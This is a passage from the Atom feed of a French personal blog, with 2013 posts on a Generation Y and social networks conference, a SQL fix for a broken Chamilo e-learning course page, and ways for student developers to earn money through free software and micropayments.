&lt;p&gt;On l&amp;rsquo;avait dit il y a quelque temps déjà, Facebook a remplacé l&amp;rsquo;adresse mail de ses utilisateurs par leur adresse &lt;code&gt;@facebook.com&lt;/code&gt;. Un &lt;a href="http://www.itespresso.fr/facebook-com-adresse-mail-bug-54704.html"&gt;effet de bord&lt;/a&gt; pour ceux qui synchronisent leurs contacts a été la modification des adresses mails des contacts. Oui, ça pue ! Perso, je fais confiance à Google pour ça. Jusqu&amp;rsquo;à quand ?&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://korben.info"&gt;Korben&lt;/a&gt;&lt;br&gt;
&lt;a href="https://ifttt.com/wtf"&gt;If this then that&lt;/a&gt;&lt;br&gt;
&lt;a href="http://storify.com"&gt;Storify&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.mendeley.com"&gt;Mendeley&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.tux-planet.fr"&gt;Tux-planet&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.tux-planet.fr/tester-firefox-os-directement-dans-votre-navigateur-web/"&gt;Tester Firefox OS&lt;/a&gt;&lt;br&gt;
&lt;a href="http://linuxfr.org/news/libreoffice-se-met-en-4-0"&gt;Linux FR, LibreOffice passe en version 4.0&lt;/a&gt;&lt;br&gt;
&lt;a href="http://sophiegautier.com/blog/index.php/2012/12/04/190-librelogo"&gt;Sophie Gautier, Logo dans LibreOffice&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.unixgarden.com"&gt;Unix garden&lt;/a&gt;&lt;br&gt;
&lt;a href="https://librairie.immateriel.fr"&gt;Librairie immateriel&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.itespresso.fr"&gt;IT Expresso&lt;/a&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="http://antiquity-dreams.deviantart.com/"&gt;Crédit photo, antiquity-dreams&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Generation Y - Réseaux (anti)sociaux et enseignement : entre fascination et rejet</title><link href="http://blog.namok.be/2013-03-01-generation-y.html" rel="alternate"/><published>2013-03-01T00:00:00+01:00</published><updated>2013-03-01T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-03-01:/2013-03-01-generation-y.html</id><summary type="html">La syntonie, les cellules miroirs qui sont utilisées quand on discute  avec d'autres.
Réflexions sur l'usage des réseaux sociaux, la protection des données personnelles (mails), la fracture numérique entre « digital natives » et « immigrants », l'évolution des liens sociaux à l'ère du virtuel, le manque de syntonie dans les échanges en ligne, l'importance de varier son circuit du plaisir pour éviter les addictions, et différences entre &lt;i&gt;free speech«/i&gt;, &lt;i&gt;free beer&lt;/i&gt;…</summary><content type="html">&lt;p&gt;— Qui parmi vous imprime ses mails ?&lt;/p&gt;
&lt;p&gt;Le ton est donné afin de distinguer les &lt;em&gt;digital natives&lt;/em&gt; des &lt;em&gt;digital immigrants&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Technology_by_leozero88.jpg" src="/images/Technology_by_leozero88.jpg" title="Technology_by_leozero88.jpg, mar. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Generation Y. Le pôle universitaire européen de Bruxelles Wallonie a organisé son colloque annuel le 26 février 2013. J&amp;rsquo;y étais. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;« Génération Y Réseaux (anti)sociaux et enseignement : entre fascination et rejet »&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Passons rapidement sur les orateurs qui préfèrent s&amp;rsquo;entendre parler plutôt que d&amp;rsquo;essayer d&amp;rsquo;intéresser le public et ceux qui ont été trop généralistes pour moi pour simplement passer aux quelques réflexions que je me fais après cette journée.&lt;/p&gt;
&lt;h3&gt;Est-ce qu&amp;rsquo;une adresse mail est une donnée personnelle et donc privée ?&lt;/h3&gt;
&lt;p&gt;À notre arrivée, nous recevons une farde avec le bic et les petites choses habituelles.&lt;/p&gt;
&lt;p&gt;Parmi elles, un &lt;strong&gt;livre édité et relié&lt;/strong&gt; reprenant l&amp;rsquo;historique des colloque et du pôle ainsi que le contenu des présentations des orateurs. Je ne sais pas encore si ça a un intérêt quelconque, le mien ira bientôt à la poubelle. Je ne suis pas sûr que ce soit très « génération Y ».&lt;/p&gt;
&lt;p&gt;Deuxième découverte dans la petite farde, c&amp;rsquo;est un &lt;strong&gt;listing des participants&lt;/strong&gt;. Si je trouve la démarche très intéressante car je suis content de voir le nom et la société des autres participants, je ne suis pas particulièrement content d&amp;rsquo;y retrouver mon email.&lt;/p&gt;
&lt;p&gt;Je ne suis pas content car&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;je n&amp;rsquo;ai pas été prévenu que mon mail serait diffusé et&lt;/li&gt;
&lt;li&gt;je n&amp;rsquo;ai pas eu la possibilité de refuser qu&amp;rsquo;il apparaisse&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour la prochaine fois, ajouter une &lt;em&gt;checkbox&lt;/em&gt; me demandant si je suis d&amp;rsquo;accord que mon mail apparaisse dans le listing des participants serait l&amp;rsquo;idéal… &lt;em&gt;checkbox&lt;/em&gt; que je cocherai avec plaisir ! Je trouve cependant qu&amp;rsquo;il est normal que l&amp;rsquo;on me demande mon avis.&lt;/p&gt;
&lt;h3&gt;free, free speech, free of charge… et free beer&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;free&lt;/em&gt; pour la liberté d&amp;rsquo;internet. Les fournisseurs de service, d&amp;rsquo;accès n&amp;rsquo;exercent pas de contrôle sur ce qui circule sur le réseau.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;free speech&lt;/em&gt; pour la liberté d&amp;rsquo;expression. Chacun est libre d&amp;rsquo;écrire ce qu&amp;rsquo;il veut dans les limites de son droit d&amp;rsquo;expression.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;free of charge&lt;/em&gt; pour la gratuité de l&amp;rsquo;information, du contenu qu&amp;rsquo;internet véhicule. Le contenu sur le réseau est gratuit, je paie l&amp;rsquo;accès au réseau, pas l&amp;rsquo;information que j&amp;rsquo;y trouve.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour l&amp;rsquo;intervenant, cette vision est la vision &lt;strong&gt;utopiste&lt;/strong&gt; de l&amp;rsquo;origine d&amp;rsquo;internet et on en est bien loin maintenant. Pour moi, naïf, c&amp;rsquo;est le web que j&amp;rsquo;essaie de fréquenter.&lt;/p&gt;
&lt;p&gt;Je suis bien conscient que tout ne peux pas être gratuit mais je persiste à croire que tout ne doit pas être monnayé non plus. Dans une recherche d&amp;rsquo;un certain équilibre, j&amp;rsquo;essaie de &lt;a href="2012-02-06-le-droit-de-lire-et-l-envie-de-micropayer.html"&gt;microrétribuer&lt;/a&gt; les auteurs via &lt;a href="http://flattr.com"&gt;Flattr&lt;/a&gt; et les programmeurs en payant mes applications (les rares fois où elles le sont). En contrepartie, j&amp;rsquo;accepte d&amp;rsquo;être &lt;a href="http://dontbubble.us/"&gt;profilé&lt;/a&gt; par certains services que j&amp;rsquo;utilise.&lt;/p&gt;
&lt;h3&gt;La génération Y est connectée… mais comment ?&lt;/h3&gt;
&lt;p&gt;L&amp;rsquo;orateur tire les mêmes conclusions que ce que je supposais… mais chiffres et études à l&amp;rsquo;appui.&lt;/p&gt;
&lt;p&gt;Il est effectivement certain que la génération Y est connectée (75%), qu&amp;rsquo;elle utilise les réseaux sociaux (90%) et qu&amp;rsquo;elle est compétente… mais dans un domaine étroit.&lt;/p&gt;
&lt;p&gt;Pour les réseaux sociaux, s&amp;rsquo;il appert qu&amp;rsquo;ils &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; sont tous connectés, ce n&amp;rsquo;est pas spécialement aux réseaux sociaux mais plutôt « à le » réseau social Facebook. Le pourcentage d&amp;rsquo;étudiants connaissant d&amp;rsquo;autres médias sociaux (Twitter, blogues, partage de &lt;em&gt;bookmarks&lt;/em&gt;…) &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; est nettement inférieur.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;en conclu qu&amp;rsquo;il y a une forte utilisation de l&amp;rsquo;outil internet qui prédomine mais ce ne sont pas spécialement des &lt;em&gt;geeks&lt;/em&gt; très au fait de toutes les «technologies». De même s&amp;rsquo;ils utilisent un traitement de texte facilement, ils sont moins nombreux à faire de la retouche photo, du montage vidéo, des cartes heuristiques…&lt;/p&gt;
&lt;h3&gt;J&amp;rsquo;ai trente millions d&amp;rsquo;amis&lt;/h3&gt;
&lt;p&gt;Si leur réseau est étendu parce qu&amp;rsquo;ils ont beaucoup d&amp;rsquo;amis, ce sont pour la plupart des &lt;strong&gt;liens faibles&lt;/strong&gt;. Quand est-il des &lt;strong&gt;liens forts&lt;/strong&gt;, les &lt;strong&gt;attachements&lt;/strong&gt; ?&lt;/p&gt;
&lt;p&gt;La différence entre un lien faible et un attachement, c&amp;rsquo;est que l&amp;rsquo;attachement à quelqu&amp;rsquo;un est réciproque. L&amp;rsquo;autre personne est quelqu&amp;rsquo;un sur qui je peux compter et il peut compter sur moi. Ce type de lien peut se renforcer sur internet, mais il ne peut pas se créer.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Peut-on avoir une relation ne se basant que sur l&amp;rsquo;écrit, voire la discussion par caméra interposée ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Lorsque j&amp;rsquo;ai des contacts sur internet, il manque la syntonie &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;, le fait que les cellules miroir de mon cerveau entrainent l&amp;rsquo;empathie (ou pas). Lorsque je lis les messages d&amp;rsquo;amis, je les visualise souvent dans la tête pour essayer de cerner le ton sur lequel ils «parlent». J&amp;rsquo;ai besoin de ça pour donner du sens à leur message.&lt;/p&gt;
&lt;p&gt;Lorsque je m&amp;rsquo;adresse à mes trente millions d&amp;rsquo;amis, je leur parle à tous de la même manière par le biais d&amp;rsquo;un statut sur un réseau social alors que dans la vie privée, j&amp;rsquo;adapte mon discours à mon public. La communication est donc d&amp;rsquo;office biaisée et une partie de mes contacts (pas toujours la même en fonction du type d&amp;rsquo;info que je diffuse) se sent lésée car elle ne comprend pas le message… puisqu&amp;rsquo;il n&amp;rsquo;a pas été rédigé à son intention.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;On parlera donc dorénavant de « contacts » et sûrement pas d&amp;rsquo;« amis » dans ce contexte et l&amp;rsquo;on retiendra que le virtuel permet de renforcer les liens mais pas spécialement de les créer.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Varier mon circuit du plaisir&lt;/h3&gt;
&lt;p&gt;J&amp;rsquo;ai appris quelque chose qui est probablement très courant pour les psy&lt;em&gt;trucs&lt;/em&gt; &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;, c&amp;rsquo;est la notion de &lt;strong&gt;circuit du plaisir&lt;/strong&gt;… et le plaisir c&amp;rsquo;est important ;-)&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;homme est bien fait, il a tendance a oublier les mauvais moments et a retenir les bons. Le circuit du plaisir est cette capacité à pouvoir se rappeler un bon moment &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt;. L&amp;rsquo;important dans ce circuit est de pouvoir le &lt;strong&gt;varier&lt;/strong&gt;, avoir plusieurs activités qui stimulent cette partie du cerveau. Le danger d&amp;rsquo;un excès de virtuel c&amp;rsquo;est qu&amp;rsquo;il n&amp;rsquo;y aie plus qu&amp;rsquo;une seule activité qui me fait plaisir… ça devient une addiction et je casse ce circuit du plaisir en étant toujours à la recherche de cette seule activité qui me satisfait. C&amp;rsquo;est dommage !&lt;/p&gt;
&lt;h3&gt;L&amp;rsquo;anecdote Twitter qui est finalement assez représentative d&amp;rsquo;une fracture entre les «natifs numériques» et les «immigrants numériques»&lt;/h3&gt;
&lt;p&gt;Une autre manière de typer les générations est de parler de &lt;strong&gt;natifs numériques&lt;/strong&gt; (&lt;em&gt;digital natives&lt;/em&gt;) et d&amp;rsquo;&lt;strong&gt;immigrants numériques&lt;/strong&gt;. C&amp;rsquo;est assez drôle finalement.&lt;/p&gt;
&lt;p&gt;Il y a eu des tweets qui ont été échangés pendant les conférences.&lt;/p&gt;
&lt;p&gt;— Évidemment ! diront certains&lt;br&gt;
— C&amp;rsquo;est quoi un tweet ? diront d&amp;rsquo;autres&lt;/p&gt;
&lt;p&gt;Je trouve normal que ça tweete pendant les confs cependant, l&amp;rsquo;improvisation entraine quelques couacs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pas de wifi ouvert ce qui implique que le réseau n&amp;rsquo;est dispo que pour les privilégiés qui connaissent le bâtiment (et les codes wifi) ou qui ont un abonnement data,&lt;/li&gt;
&lt;li&gt;comme rien n&amp;rsquo;est organisé, j&amp;rsquo;utilise les hashtags &lt;em&gt;generationy&lt;/em&gt; et &lt;em&gt;heb&lt;/em&gt; tandis que «les autres» utilisent &lt;em&gt;bxlgenerationy&lt;/em&gt;… et j&amp;rsquo;en suis gentiment informé l&amp;rsquo;après-midi&lt;/li&gt;
&lt;li&gt;lors de la séance questions / réponses et de la conclusion, les conférenciers ont principalement parlés entre eux et n&amp;rsquo;ont évidemment pas tenus compte des tweets éventuels… exceptés l&amp;rsquo;un des conférenciers qui a essayé… mais sans grands succès. dommage&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour terminer, je souligne une expérience assez sympa de la part d&amp;rsquo;enseignants de psychologie sociale qui ont proposés à leur étudiants d&amp;rsquo;écrire un article de psychologie sur un sujet au choix… et de s&amp;rsquo;arranger pour qu&amp;rsquo;il se trouve sur Wikipedia.&lt;/p&gt;
&lt;p&gt;Voilà pour le compte-rendu de ma journée.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.ulb.ac.be/poluniv-bxl/"&gt;Pôle universitaire européen de Bruxelles Wallonie&lt;/a&gt;&lt;br&gt;
Microblogging; &lt;a href="http://twitter.com"&gt;Twitter&lt;/a&gt;, &lt;a href="http://identi.ca"&gt;Identi.ca&lt;/a&gt;&lt;br&gt;
Moteur de blog; &lt;a href="http://wordpress.com"&gt;Wordpress&lt;/a&gt;, &lt;a href="http://dotclear.fr"&gt;Dotclear&lt;/a&gt;&lt;br&gt;
Partage de &lt;em&gt;bookmarks&lt;/em&gt;; &lt;a href="http://delicious.com"&gt;del.icio.us&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.marcprensky.com/writing/"&gt;Marc Prensky&lt;/a&gt; (&lt;a href="http://www.marcprensky.com/writing/Prensky%20-%20Digital%20Natives,%20Digital%20Immigrants%20-%20Part1.pdf"&gt;pdf&lt;/a&gt;)&lt;br&gt;
&lt;em&gt;Crédit photo &lt;a href="http://leozero88.deviantart.com/art/Technology-139632899"&gt;leozero88&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je suis de la génération X, je me dois donc de dire «ils».&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;On ne parle même pas de projet &lt;em&gt;open source&lt;/em&gt; comme identi.ca.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Se dit d&amp;rsquo;un sujet qui a tendance à vibrer en harmonie avec le milieu dans lequel il se trouve. &lt;a href="http://www.larousse.fr/dictionnaires/francais/syntone/76229"&gt;Larousse&lt;/a&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Je ne leur manque pas de respect, je montre que c&amp;rsquo;est un domaine qui m&amp;rsquo;est très peu connu ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Une Orval chez la vieille bonne par exemple.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>J'ai cassé Chamilo</title><link href="http://blog.namok.be/2013-02-18-casse-chamilo.html" rel="alternate"/><published>2013-02-18T00:00:00+01:00</published><updated>2013-02-18T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-02-18:/2013-02-18-casse-chamilo.html</id><summary type="html">Quand je dis 'Je', c'est un collègue dans ce cas.</summary><content type="html">&lt;p&gt;À l&amp;rsquo;école, nous utilisons &lt;a href="http://chamilo.org"&gt;Chamilo&lt;/a&gt; comme plateforme de &lt;em&gt;elearning&lt;/em&gt;. En tant qu&amp;rsquo;admin, je reçois parfois un mail du style&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;J&amp;rsquo;ai essayé d&amp;rsquo;insérer un tableau sur la plateforme et, c&amp;rsquo;est cassé, je ne peux plus rien afficher.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Bon, comment régler le problème car en se connectant en admin à la formation on a exactement le même problème que le formateur ? Le problème vient du fait que l&amp;rsquo;insertion du tableau a été faites en faisant un copier / coller de MS Word et ce copier /coller insère des balises que ne semblent pas être compatible avec l&amp;rsquo;html de &lt;a href="http://chamilo.org"&gt;Chamilo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Scissors__by_GorgeousFrankenstein2.jpg" src="/images/Scissors__by_GorgeousFrankenstein2.jpg" title="Scissors__by_GorgeousFrankenstein2.jpg, fév. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Le formateur voulait mettre à jour le texte d&amp;rsquo;introduction de la formation, celui qui apparait sur la page d&amp;rsquo;accueil et qui est suivi de quelques icônes / lien permettant d&amp;rsquo;éditer le texte. &lt;strong&gt;Ce sont ces icônes qui ont disparu&lt;/strong&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-poesi-1.png" src="/images/screenshot-poesi-1.png" title="screenshot-poesi-1.png, fév. 2013"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;utilise &lt;a href="http://chamilo.org"&gt;Chamilo&lt;/a&gt; version 1.8.7.1 &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Dans cette version, si je cherche ou se trouve cette description, je constate qu&amp;rsquo;elle n&amp;rsquo;est pas dans le répertoire &lt;code&gt;/var/www/monchamilo/courses/IDCOURS&lt;/code&gt;. C&amp;rsquo;est donc dans la BD, ce qui ne m&amp;rsquo;arrange pas vraiment.&lt;/p&gt;
&lt;p&gt;Pour réparer &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;, il «suffit» de supprimer le texte d&amp;rsquo;intro de la BD&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;USE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dokeos_IDCOURS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;UPDATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tool_intro&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intro_text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Essai&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;course_homepage&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;…et ça roule.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Enjoy !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://chamilo.org"&gt;Chamilo&lt;/a&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="http://gorgeousfrankenstein.deviantart.com/art/Scissors-53594543"&gt;Crédit photo, Gorgeous Frakenstein&lt;/a&gt; parce que &lt;a href="http://exeypan.deviantart.com/art/Copy-paste-215062402"&gt;celle-là (NSFW)&lt;/a&gt;, j&amp;rsquo;ai pas osé.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Et c&amp;rsquo;est cette disparition qui me fait dire que l&amp;rsquo;on a un problème de balises non fermées quelque part.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Oui, il faudrait prendre le temps de mettre à jour mais je ne sais pas comment faire pour bien faire la mise à jour sur le serveur en prod :-(&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Car ce poste va me servir d&amp;rsquo;aide mémoire car ça fait deux fois que j&amp;rsquo;ai le même problème.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Quel business plan choisir ?</title><link href="http://blog.namok.be/2013-02-15-quel-business-plan-choisir.html" rel="alternate"/><published>2013-02-15T00:00:00+01:00</published><updated>2013-02-15T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-02-15:/2013-02-15-quel-business-plan-choisir.html</id><summary type="html">Je suis développeur ou développeuse et je voudrais gagner (un peu) d'argent avec l'application que j'écris.</summary><content type="html">&lt;p&gt;— J&amp;rsquo;ai écrit une application et je ne sais pas comment la diffuser ?&lt;/p&gt;
&lt;p&gt;Parfois un étudiant me demande quel est le meilleur moyen pour « vendre » l&amp;rsquo;application qu&amp;rsquo;il vient d&amp;rsquo;écrire (ou bien qu&amp;rsquo;il va écrire) ? La réponse n&amp;rsquo;est pas immédiate et il est faut voir l&amp;rsquo;objectif à moyen terme sachant qu&amp;rsquo;il est fort peu probable que l&amp;rsquo;application soit l&amp;rsquo;application qui sera incontournable demain. Et même si c&amp;rsquo;était le cas, ça ne changerait pas ma réponse.&lt;/p&gt;
&lt;p&gt;&lt;img alt="smartphone-casque.jpg" src="/images/smartphone-casque.jpg" title="smartphone-casque.jpg, fév. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ce qui est un peu drôle au départ &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, c&amp;rsquo;est que beaucoup de nos étudiants ont l&amp;rsquo;habitude du modèle; je préfère utiliser une application payante… que je ne paie pas. Aujourd&amp;rsquo;hui qu&amp;rsquo;il s&amp;rsquo;agit de mon application, je voudrais qu&amp;rsquo;on ne
puisse pas la craquer ! 🙃 &lt;/p&gt;
&lt;p&gt;— Aujourd&amp;rsquo;hui, quel est ton but ?&lt;/p&gt;
&lt;p&gt;Je crois qu&amp;rsquo;il est illusoire de vouloir vendre une application sans avoir de moyen de diffusion. Si je suis étudiant, je vais seulement commencer ma carrière, j&amp;rsquo;ai donc également en tête de savoir comment gagner ma vie dans les 40 années qui suivent. Mon but est donc probablement, d&amp;rsquo;avoir un bon CV. Soit pour me distinguer auprès d&amp;rsquo;un employeur éventuel soit pour montrer une certaine expérience en tant qu&amp;rsquo;indépendant.&lt;/p&gt;
&lt;p&gt;Le moyen qui me conviendrait:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;proposer mon application en tant que logiciel libre &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;;&lt;/li&gt;
&lt;li&gt;en parler partout où l&amp;rsquo;on parle de LL car je pense que sur ces sites / forum l&amp;rsquo;on trouve des gens curieux et prêt à tester une application et à faire un retour;&lt;/li&gt;
&lt;li&gt;écrire sur mon CV que c&amp;rsquo;est moi l&amp;rsquo;initiateur du projet;&lt;/li&gt;
&lt;li&gt;me faire engager parce que j&amp;rsquo;ai fait preuve de compétences dans un domaine (et continuer le développement de mon application).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si je veux gagner de l&amp;rsquo;argent (ce qui est compréhensible, on n&amp;rsquo;est pas chez les bisounours), je vois trois moyens :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;demander à mon patron de pouvoir consacrer une partie de mon temps de travail à mon application (en imaginant un arrangement &lt;em&gt;win-win&lt;/em&gt;);&lt;/li&gt;
&lt;li&gt;proposer du service autour de l&amp;rsquo;application (installation, hébergement, configuration personnalisée…);&lt;/li&gt;
&lt;li&gt;le micropaiement (ça arrive sur les smartphones, est-ce envisageable pour d&amp;rsquo;autres applications ?).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Se faire connaitre par le biais du logiciel libre et être micro-rémunéré &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; est, je crois, un bon &lt;em&gt;business model&lt;/em&gt; en tout cas au début.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mais je suis peut-être utopiste ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://www.google.com/search?hl=en&amp;amp;tbs=sbi%3AAMhZZiutM_1pFOfdP_14BEYYaV9RhllaVcpJ2UeEJHIFAk66F2TAUoOZoYT_1Vso1LB2u6RxiJjrWqk00taH-j7QQBH30sYSsoyhdgvYbeE7HYDmEXBSxqO9MVwllhQfaO0OhLoKNh5vadAtXxNhJJaZT5DVO7yr0b6rlgrUz7N59rXzCU3GiH3HFjOa2hy6Kuw-HPpUxVK8ni23BrczfEotkKWMAcD0H30gw&amp;amp;ei=MOoOUdqnL8OR0AWfo4HwCw&amp;amp;ved=0CAoQiBwwADi1AQ&amp;amp;biw=1256&amp;amp;bih=670"&gt;Crédit photo&lt;/a&gt;&lt;/em&gt;&lt;br&gt;
&lt;a href="http://linuxfr.org/users/jpauty/journaux/comment-une-boite-peut-gagner-de-largent-en-faisant-des-softs-l"&gt;(Vieil article LinuxFR)&lt;/a&gt;&lt;br&gt;
&lt;a href="http://geek-du-soir.blogspot.be/2010/12/modele-commercial-open-source-licences.html"&gt;Modèle commercial Open Source &amp;amp; Licences&lt;/a&gt;  &lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je caricature un peu mais la question est un peu là quand même.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Ouais, je sais, vous vous y attendiez… mais posez également la question « aux autres » et revenez vers moi ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Oui, oui, je pense à &lt;a href="http://flattr.com"&gt;Flattr&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
